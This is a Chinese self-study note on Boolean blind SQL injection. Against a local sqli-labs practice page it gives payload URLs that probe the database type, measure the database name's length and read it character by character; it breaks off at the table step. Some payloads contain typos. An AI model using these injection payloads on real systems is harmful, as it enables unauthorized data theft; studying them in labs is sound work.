SQL注入自学笔记


Boolean盲注

盲注通常用于web页面没有回显的情况下,通过盲注来验证注入的sql语句是否得到了执行。盲注这种方式在于猜解。

1.首先判断数据库类型

当在1前加上“-”时,页面并没有报错,https://127.0.0.1/sqli/Less-1/?id=-1

https://127.0.0.1/sqli/Less-1/?id=1’,加上单引号后报错,由此可以说明,这是一个字符型注入点。原sql语句为 select  *  from user  where id = '1''  limit 0,1;

2.在https://127.0.0.1/sqli/Less-1/?id=1’这个注入点上,接下来需要通过盲注判断数据库类型、数据库名、数据库列名和数据库列名下的数据。

判断数据库类型:不同数据库中存在有特有表,mysql(5.0以上本):information_schema.tables、access:msysobjects、sqlserver:sysobjects、oracle:dual。

通过exist()函数判断数据库是否有这些表的数据来判断数据库类型。

https://127.0.0.1/sqli/Less-1/?id=1’ and exist(select * frominformation_schema.tables)#

https://127.0.0.1/sqli/Less-1/?id=1’ and exist(select * from msysobjects)#

https://127.0.0.1/sqli/Less-1/?id=1' and exist(select * from sysobjects)#

https://127.0.0.1/sqli/Less-1/?id=1' and exist(select * from dual)>0#

2.判断数据库名

https://127.0.0.1/sqli/Less-1/?id=1' and length(database())>5 //正常

https://127.0.0.1/sqli/Less-1/?id=1' and length(database())>10 //不正常

https://127.0.0.1/sqli/Less-1/?id=1' and length(database())>7 //正常

https://127.0.0.1/sqli/Less-1/?id=1' and length(database())>8 //不正常

大于7正常且大于8不正常,说明length(database())大于7小于等于8,所以长度为8位

然后通过函数ascii()判断数据库字符

e.g  

https://127.0.0.1/sqli/Less-1/?id=1' and ascii(substr(database(),1,1)) >100     //通过二分法及ascii表分别查询出database()

3.判断数据库中的表

https://127.0.0.1/sqli/Less-1/?id=1’ and exist(select * frominformation_schema.tables)#

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值